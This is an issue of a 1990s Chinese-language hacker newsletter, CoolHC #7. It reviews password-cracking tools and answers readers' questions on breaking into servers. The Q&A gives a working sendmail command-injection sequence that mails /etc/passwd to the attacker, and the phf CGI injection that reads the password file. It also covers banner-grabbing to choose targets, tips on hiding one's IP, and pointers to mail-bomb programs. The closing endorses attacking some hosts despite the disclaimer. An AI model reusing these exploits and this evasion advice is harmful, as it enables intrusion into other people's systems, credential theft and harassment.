这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何***你的电脑,我是 CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人Crack Password 若有人因此文件导致恶意***别人的电脑或网路, 本人概不负责 !!
写这些文章真的花了蛮多时间的, 我也没办法确定甚么时候可以写好下一篇, 所以没有办法预告, 因为预告不准的话会挨骂的. 以後写 CoohHC 的时间会少很多的, 因为工作越来越多的关系, 希望大家见谅, 如果一两个月才出现一篇的话也不要骂我喔~ 如果你曾经用印表机把这些文章一篇篇的印出来的话, 你就应该知道写这些东西有多辛苦了,上次在朋友那边看到, 差点吐血!
事实上, CoolHC 写到这里已经没有甚么可以多讲的了, 因为有很多东西并不是用技巧来破解, 我们所使用的都是系统的漏洞. 而这些漏洞, 有些由於已经出现了很久, 所以有些网站也已经更新了这些问题, 你就没有办法得到你所预期的结果了. 除非你能够在他们 Patch 之前先进入, 所以就必需要取得最新的 Bugs 资讯.
在网路上有很多系统安全讨论的 Mail List, 这些 Mail List 讨论的内容大多与各系统的安全性有关, 所以在讨论内容上也都会围绕著新的 Bugs 打转, 如果能够善加的利用这些资讯, 相信你可以在得到新的 Bug 资料时就轻易的拿下很多网站的密码档案.
所以在这一期的内容上, 我们就以如何订阅这些 Mail List 为主题, 让大家能够吸收到这些新的资讯, 这样也不会等到 CoolHC 写好的时候, 大多数的 Bugs 都已经补上了.
**** Crack 工具 ****
 [JackAss V1.1]
许多网友最喜欢的就是这一篇了, 所以这一篇好像是少不了的, 但是软体更新的速度事实上可能没有我们的文章快. 上次介绍的 John the Ripper 1.3 大家用了觉得如何???有没有甚么大问题呢? 应该还不错吧! 这次要介绍的是 JackAss V1.1 是我刚在国外网页上抓回来的, 也不知道出现了多久, 看一下档案日期是 4-09-96, 好像已经出来很久了, 都没有注意到它的存在.
 一般我们以 CJack 来破解密码档案的时候, CJack 是以呼叫字典档, 然後逐字加密再进行比对的方式来作解码的动作, 所以并不是所有的密码都找得到, 所以就有人想出以暴力的方式来解码, 前题是机器够快, 然後时间够多, 才能避免浪费掉很多系统的时间.CJack 在设计的理念上就是这样, 所以基本上还是略显不足, 所以才会有很多的辅助工具出现, 像先前几篇我们所介绍的 KOS 就是一个例子.
 JackAss 基本上是一个辅助 Jack 的工具, 跟 KOS 一样, 需要有 CJack 才能够执行,他的英文注解是: Add On For CrackJack, 与 KOS 不同之处是: KOS 对 CJack 的不足处作了补强,让 CJack 可以跑出一些大小写数字混合的密码, 而 JackAss 则是一个完全不同的方式, 他不需要使用任何的字典档, 因为它本身就是一个字典档产生器. 当你使用 JackAss 来作为 CJack 的前导, 执行 JackAss 之後他会依照你的选项来制造出字典档, 然後再呼叫 CJack 来跑这些字.试了一下 JackAss 似乎功能上不怎么样, 有点类似国内上次出现的那支密码破解程式,不过速度上倒是比较快, 如果你是要用暴力法来破解, 又有几台不错的机器, 你可以试著在不同的机器上跑, 这样速度会快一点, 如果单用一台机器要跑暴力法, 可能就很累了. 当然, 如果你可以只跑单一 User 的话, 速度会快一点, 所以我建议拿 JackAss 来跑 root 的部份, 其它的用 GlobalKOS 来跑字典法就行了~~ 不要那么累!
 之前在 tw.comp.security 看到有几位网友在讨论解码的文章, 其中有一位网友的观点跟我的有点相像, 他的说法是: 将所有的字典档先编码, 存成一个大型的资料库, 当你抓回密码档的时候, 直接用密码档来作逐行的比对, 这样速度上会快一点, 因为省去了编码的时间. 如果有人要作这样的程式的话, 我想应该要有一个不小的硬碟, 用来储存这个完成後颇大的资料库, 然後查询方面最好是用 SQL 来作查询, 速度上应该会快一点因为在其它的查询方法上, 如果资料库非常庞大, 可以系统跑起来会像当机一般吧?? 再者机器的速度应该也要够快, 最好呢, 能够写出一个 CGI 来 Call 这支程式, 让大家可以在网页上丢出 passwd 档来查询, 再将查询完的结果寄回电子邮件信箱中. 这看起来好像有点神话, 其实这很容易作到的, 只是没有人真的这样作, 是吗?? 目前还没预估过这样作所须要的主机配备, 大家有空的时候帮忙想一想吧??
 [WordList V1.0]
这个程式是一支字典档产生器, 他能产生五个字的字典档, 就是排列组合啦~ 也没有用甚么特殊的方法, 使用他来产生字典可以产生一个相当大的字典, 不过速度上相当的慢就是了, 这种程式所产生的字典有点暴力, 因为他跟本不依照字典的方式来产生, 但是所产生的字也就相当的可观, 不过只要密马是五个字的, 都一定逃不过~ 属於暴力法的一种. 速度慢? 慢到甚么程度呢? 你亲自的试一下就知道了, 我跑到一半就把它停掉了,不晓得是用甚么语言写的, 还 For Win 3.x/95, 纯 DOS 下无法执行. 除了速度慢的缺点之外, 这支程式所跑出来的字典档是五个字的, 我觉得真对五个字的密码来作解码是有点暴力, 不过大家应该把自己的密码弄长一点, 因为之前我破解的一组密码, 居然有人用一个英文字元来当密码, 系统管理人员应该将密码设定最少四个字元, 这样密码才不容易被人盗用, 不然就将系统安全作得好一点, 不要让人轻易的拿到 passwd 档.
[Q1]
我一进去的目录是"/",我用ls指令後都没有看到资料夹,有没有可能是把/etc/passwd隐藏了呢?我进去时先出来的画面: 220 flag12 Microsoft FTP service (Verision2.0)我又用了anonymous.ftp.这两个username进去,也成功了而且目录也都一样,那有没有可能passwd不放在这里?
[A1]因为一般我们在找 password 档的时候, 我们测试(实作)的 Server 都是使用 Unix 的 Server来作, 所以我会写是 /etc/passwd, 照你这个情况看来, 你进入的 FTP Server 应该是 WindowNT 的系统(我也没有把握能够确定这件事), 如果是这样的状况的话, 一般的 WinNT系统是不会有 /etc 这个目录的, 自然也就无法用 ls 指令看到了! 
[Q2]我觉得知道某人的IP又能怎样呢? 现在ISP都是使用不固定的IP呀? 若你说有纪录呀?可是像我使用非自己的或是免费的呢?像我的网页就有告诉人家免费上网(中研院提供的)查到IP也没用呀?为何还需要用E-mail bomb 的隐密IP呢?我实在想不通, 可以告诉我吗?
[A2]对呀!! 但是如果该主机可以查出该 IP 的确实上线时间 (有 Log 档可查)另外也可以再经由电信系统查甚么时候拨到哪支电话的电话号码, 循线就可以逮到你了~ 但是现在电信局不太管这样的事, 不过如果你犯了很大的错, 有检察官要求他们查, 你说查不查得到 ????? IP 固不固定又很重要吗 ??? 还是能 Fake IP 是最好的~~ 把 Ping关掉??呵呵~~ 想通吧!
[Q3]1.I can't download KeyPro Emu'. I think the location is wrong. Can you send itto me?
2.嗨...,UpYours3还是传不下来...能否告诉我其他地方哪里有? or用别的方法寄来?(真的!没骗你,我每次下载到1.xMB时,就会卡住,都不动了...)
[Q7]
你知道吗?news上俞煌男有写一个程式是sendmail 收到password to you know?你是否也有同样的program?and letmein 2.0不知进展如何?
[A7]呵呵~~ Know How 是不是?? 其实要看他写出来的东西是针对哪个 Sendmail 版本啦, 像很多版本的 Sendmail 都有被人家抓出一些 Bug 出来, 那也要看这个 Bug 的危险性到甚么程度,一般这些东西都会有人整理出来, 但是如果 Mail Server 使用的刚好不是Bug 有列出来的话, 你可能也没有办法了吧?? 我举一个很久以前在 Bugtraq 上面看到的 sendmail bug 来作说明好了, 这个 Bug 的版本我忘了, 好像是 sendmail 5.6 的吧(很久了), 现在不晓得还有没有人在用这个版本, 如果有的话, 就算他倒霉好了! 是这样的, 这个版本的 Sendmail 可以让人执行一些指令, 所以我们可以利用这个漏洞把passwd 档寄给自己, 而连到 smtp 就可以控制 sendmail 来发信了!
telnet xxx.xxx.xxx 25
helo MyDear
mail from: "|/bin/mail me@myhost </etc/passwd"
rcpt to: me@myhost
data
this is a test mail  .
像这样就可以让这台主机把他自己的 /etc/passwd 寄给我了, 但是也要看他有没有提供mail这支程式, 有没有放在 /bin 目录, 像这目录也是很重要的, 有的例子我举出来像cgi hole 我是举例他放在 /cgi-bin 目录, 但有些人的目录名称是 /cgi 或 /bin 或/exe 就没有人会变通, 一直写信来问我, 为甚么照这个指令没有办法抓到... 等等, 很难讲啦, 谁晓得他们目录命名的方式,都是随人家高兴的嘛~~
 不过像你所讲的, 把这种 Bug 写成程式来抓 passwd 档, 那是不是要针对很多版本的sendmail 都要有判断? 再针对每个版本送出不同的指令? 如果真的可以写出来这样的程式的话, 那一定是很不错, 不过这应该还只是一个理想吧?? 俞兄如果有写好的, 请寄送一份给小弟, 我倒想看看程式可以强到甚么程度. 还有, 并不是每个 sendmail Bug 都是连上 smtp 就可以作了, 有些还要写一些小程式 (Scripts) 才跑才有用, 也就是说你必需要有一个 login 到该 server 的帐号才行.... 所以..... 难说啦!
 
[Q8]
I already download avalanche v2.8 mail bomber,but I can't send it! When I start send the bomb massage,why always receive 553 error ot other error?can you help me how to seng it!
[A8]有些 MailBomb 我并没有实际的测试过, 因为种类实在太多了, 现在好像越来越多人喜欢写这种程式, 如果你有类似的问题, 可以到我们首页上的留言版发问, 相信有用过的网友会提供你一些设定上的建议, 让你的程式能够正常的运作.
[Q9]Hi, I read your hack homepage, it's very good. Do you know any BBS or sitesabout system security & hacking? They are always underground, I can't findthem.Thanks alot.
[A9]目前中文的 Hack Homepage 大多都是关於软体注册码的网站, 有些网站现在也会提供一些关於破解主机方面的资讯, 我们将在首页上建立一些网页的连结点, 让网友们可以到其它的网站上看看其它的破解资讯, 如果你有建立一个相关的网页的话, 请写信给我,我会将你的网页加入我们站上的连结. 至於 bbs 的话, 各大专院校的 bbs 应该都有Hacker 区的讨论, 目前国内以交大资工的 Hacker 区资料最为丰富, 你有空也可以上去看看. bbs.cis.nctu.edu.tw
[Q10]很冒昧的打扰你,小弟拜读你的大作中 coolhk2 时,便实地的操练了一下,当小弟在浏览器中下达∶
後,诚如你所说的一份报表出来如下∶
CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE = Apache/1.0.0
SERVER_NAME = auto.nypi.edu.tw
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = p_w_picpath/gif, p_w_picpath/x-xbitmap, p_w_picpath/jpeg, p_w_picpath/pjpeg,*/*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/nph-test-cgi
QUERY_STRING = 2 Count.cgi acc acc.c archie calendar count date discuss doit.cgi dopost.c
finger fortune guestmsg guestmsg.c p_w_picpathmap jj move.pl nph-count nph-test-cgi phf post-query
post.c query ranking re.c repost.c repost.c.bak test-cgi test-cgi.tcl uptime vote.pl wais.pl
REMOTE_HOST = 140.130.1.218
REMOTE_ADDR = 140.130.1.218
REMOTE_USER =
CONTENT_TYPE =
CONTENT_LENGTH =
但是当小弟再接著输入∶
http://xxxxxxxx/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd
可是却没有 passwd 出现,仅出现如下∶
Ⅰ.
Server Error
The server encountered an internal error or misconfiguration and
was unable to complete your request.
Please contact the server administrator, allen@auto.nypi.edu.tw and
inform them of the time the error occurred, and anything you might have
done that may have caused the error.
Ⅱ.
Query Results
/usr/local/bin/ph -m alias=x less /etc/passwd
上面的 Ⅰ及Ⅱ 是小弟分别在不同的站所试出的结果,请问一下为什么会如此呢,是不是小弟指令下错了或者是该站的软体已经把 bug 给 patch 过了,谢谢你!
[A10]正如你所说, 可能这个站台已经把他们的 httpd Patch 过了, 所以没有办法拿到, 也不一定要用 less 指令, 也可以用 more, cat 等指令来试看看, 你上面所下的指令应该都正确才对,如果真是已经 Patch 过了的话, 就只好试试看系统有没有其它的漏洞罗.这个漏洞主要是系统所提供的 phf 的 bug, 有些主机在 test-cgi 的 Report 上的 QueryString 那一行没有 phf, 也就表示这台主机没有提供 phf 这个 cgi 让你使用, 也就没有办法用这个方式来取得 passwd 档了.
 
[Q11]1. Can you tell me how to find the KOS file by YAHOO.The best of idle is tellme the FTP site.Thank you. :)
2.我给您发完信后,想从您的首页上拉个CJACK14下来,发现上面好象没有耶 我点取了那个名字,可是报告说没有这个文件。 (~~~~~~~~~~~~不会是没有吧
[A11]你现在已经可以在 ftp.cads.com.tw/pub/security 中拿到这个档, 这是由网友 Robin所提供的ftp, 站台上许多程式都可以在这里抓到. 如果你在我们站台上抓不下来, 请到这里试试, 如果你想在 Yahoo 上找的话, 寻找 globalkos 这个关键字, 可以顺便连到国外的站台看看他们摆了哪些东西, 亦可顺便学点东西喔~~
[Q12]Can you tell me how to check infomation of host? How to know the FTP serverand MAIL server?
[A12]对, 有很多网友来信询问如何破解某某站台, 如何破解.... 都没有顺便说明一下你们想破解的系统是属於哪种系统, 先教大家看一下系统名称, 你只要 telnet 进入, 当 Unix提示符号出现的时候, 用 uname -svrmn 就可以看到了, 各选项代表的意义如下说明:
-s: Show System Name, -v: Show Operating Version, -r: Reveals The Software Release Level-m: Identifies The Machine Hardware For You -n:The node name of the computer is revealed
另外再来说明一下如何看 Sendmail 版本, 我们只要连到 Port 25 就可以看到了, 如: 
telnet ms1.xxxxxxxxx.xxx.tw 25
220 ms1.xxxxxxxxx.xxx.tw Sendmail 5.65v3.2 (1.1.8.2/30May97-0801PM) Fri, 6 Jun 1
997 11:38:23 +0800 
至於 ftp 呢? 你只要连上 ftp 就应该会在画面上看到他的版本名称了, 如:
C:\WINDOWS>ftp ftp.xxxxxxxxx.xxx.tw
Connected to ftp.xxxxxxxxx.xxx.tw.
220-Serv-U FTP-Server v2.2 for WinSock ready...
220-Welcome to xxxxxxxxxxxx xxx Ftp Server(ftp.xxxxxxxxx.xxx.tw).
220-From xxx.xx.xxx.xx
[Q13]请问你能否告诉我如何制造mail bomb,因为最近老是收到广告信或者有的没有的,实在很
讨厌.
[A13]首页上有一堆Mail Bomb 的程式, 你需要的只是把他们抓下来, 然後在电脑上跑就行了,当然里面也都有说明档之类的文件. 在收到广告信件的时候, 请不要一昧的回信, 因为有些发 MailList 的人, 对系统的运作并不 解, 有时可能是利用在帐号目录设 .foward的方式来发信的, 而信件中的 Reply to: 栏位填的也是该帐号, 当遇到这种情况的时候,你所发的信会让所有在这个 MailList 的人都收到, 如果所有的收件人都回这封信的话,那你的信箱一定就爆烂了! 所以要先冷静的分析一下这封信的发法, 会不会伤害到别人,再决定要怎么办, 千万别乱炸!~ MailBomb 也会害到自己的, 切记~ 
[Q14]您好!我是XXXXXXXXXXXXXXXXX!!对於您写的TXT2DIC 有一点问题!为什么所建的密码档PASSDICT不会增加!只是每增加一次字典,PASSDICT会随著不同!
[A14]TXT2DIC 的产生方式会覆盖掉旧有的档案, 所以请在使用的时候使用不同的档案名称,目前最新的 TXT2DIC V1.2 也还没有使用 File Append 的方式, 所以仍然会将旧档案覆盖, 若你不想覆盖旧档, 请使用不同的档名来进行转换! 否则程式将不会给你任何的警告就把档案盖下去了!
 
[Q15]在网路闲逛时发现FETAG Software's Hacking Page像发现宝一样的下载了Coolhc#1-6,在以前电影、小说所描述的骇客情节,以为只有在外国才有的事,想不到在台湾已有人在这片领域默默的耕耘,虽然我不是很聪明但还是很有兴趣的想出点力。拜读你的大作似乎有点意犹未尽,想请教你什么时候再出第七集,坊间有什么中文的入门书可参考的。还有想当一个骇客族会不会很难。
[A15]谢谢你的鼓励, 7 跟 6 之间的确是隔了很久, 且这一篇也没有讲到甚么东西, 有点对不起大家的等待了. 若想要学***, 希望各位能多看一看 Unix 方面的书, 先将 Unix 的指令读熟, 最基本的当然就是 Shell 指令, 再来就是学著写一些简单的 Shell Script,若没有馀力自己找系统的漏洞, 又想要破解站台, 建议要多看看一些系统安全的 MailList, (好多老话重谈), 这一篇就针对 Mail List 的部份, 有简单的介绍, 让大家对这些系统安全的 Mail List 有些 解, 进而多吸收一些知识. 
[Q16]我想请问一下,我是用Browser抓/etc/passwd的, 面root的密码是被编过码的吗?我用Crack Jack 1.4解码。但是好像不行,到底要用什么解才对,一下用Crack Jack,一下又用Brute,我都看不懂,还有就是UltraEdit是什么?Pass2Dic有用吗?还有我用NetTerm 4.1版for win31可是ftp or sendmail好像都进不去,是什么原因呢?另外就是我用CuteFtp 1.8版,Login设anonymous or Double,ID和passwd都空白,但是为什么就可以进Ftp,然後用NetTerm却进不去? 还有KOS(1.?M)的不会用。
[A16]好多问题喔~ 我一一的简短回答:[1]要看 Passwd 是否是编码过的, 在 CoolHC#1 中就有说明, 我没有亲眼看到 passwd 档, 没有办法回答. [2]CrackJack 跟 Brute 都是功能相同的程式, CrackJack 速度比较快, 请你先看一下 CoolHC1~6 之後再发问, 因为有很多东西都是写过的了! [3]UltraEdit??? 文书编辑程式, 我用它来写 Home Page [4]Pass2Dic在 CJack 上已经有选项了, 但是在 Brute 之类的成式上就用得到. [5]ftp 有提供匿名登入, 但是在 Telnet 没有, 所以无法登入. [6] KOS 的用法也写过了!
[Q17]when i use txt2dic.exe , i can't use it first, when i go into the third stepit show " incorrect dos version....done!" secondly, when i gp into the fourthstep , it show" have some error on code-62 "what's wrong ?
[A17]第一个问题, 在第三步骤发生 Incorrect dos version, 你用的是 1.0 版, 所以需要呼叫到 dos 的 sort 程式, 请使用 1.2 版 (For Win32 only) 就不会有此状况了! 二,你发生 Error 62 的状况, 这在上一次的 FAQ 中也有讲过了, 请去翻一翻就 解了! 不过这个状况也在 1.2 版改进了, 所以建议还是用新的版本, 就不会有这种状况发生了! 
[Q18]When I get a passwd file which is shadowed....Please tell me how to do....
[A18]如果我跟你讲, 无解呢?? 有些 shadow 过的档, 只要你有办法抓到另外一个 shadow 档是有办法解开的, 但是单要使用 shadow 过的档, 我不相信有人能够解开~ 所以还是要抓到另一个来 "配对" 才有用! 至於如何抓到 shadow? 很多人都有这样的问题, 那就要看系统 "提供" 的漏洞多不多了, 不然它 shadow 也就没有意义罗! 
[Q19]First of all, I'd like to give you some feedbacks about your page.I'm not in Vancouver. I always encounter the slow transfer rate with manyTaiwanese sites. I only got 30 bytes/sec with your site. I don't know thereason... Anyway, you are the first Chinese hacking page I've ever seen.I like that. I just want to learn more. Could yu give me some Chinese hackingpages' addresses? I will be glad to visit them. By the way, I'm not intersetedin emailbombs, because they hurt others. But I'm interested in defensing andcracking emailbombs. I hope you can update your page oftenly. Thanks a lot!
[A19]谢谢你, 我们会尽量的更新我们的网页, 至於其它中文的类似站台??? 呜... 你们在哪里呀?? 快点现身吧!! 如果大家有找到新的类似站台的话, 寄得赶快写信来告诉我呦~ 
[Q20]请问我ISP的OS是SunOS5.4,我用贵站上的方法不好用了,用贵站关于shadow的link上提到的也不成了,要如何取得其shadow过的passwd呢?请赐教,多谢!
[A20]喔~~ 对了! 刚才忘了讲, 如果各位已经试过几个 Port, 解自己系统的版本编号, 使用的 Sendmail 版本, ftp 版本等的话, 你们可以到 http://underground.org 去看看, 点选左边那个 Bugs, 然後选一下你所知道的系统, 他会列出一些目前所知的 Bugs 出来, 然候你就可以依样画葫芦啦, 不过那些讯息都是英文的啦~~
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* 
再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,不主张你随便***他人主机.... (高-Net 还是除外)... 请勿将这类技术使用於破坏上(又... 如果第三次世界大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),最严重的情况(如果你真的很讨厌该主机的话)... 就将它 Shut Down.... 好了! 别太暴力了!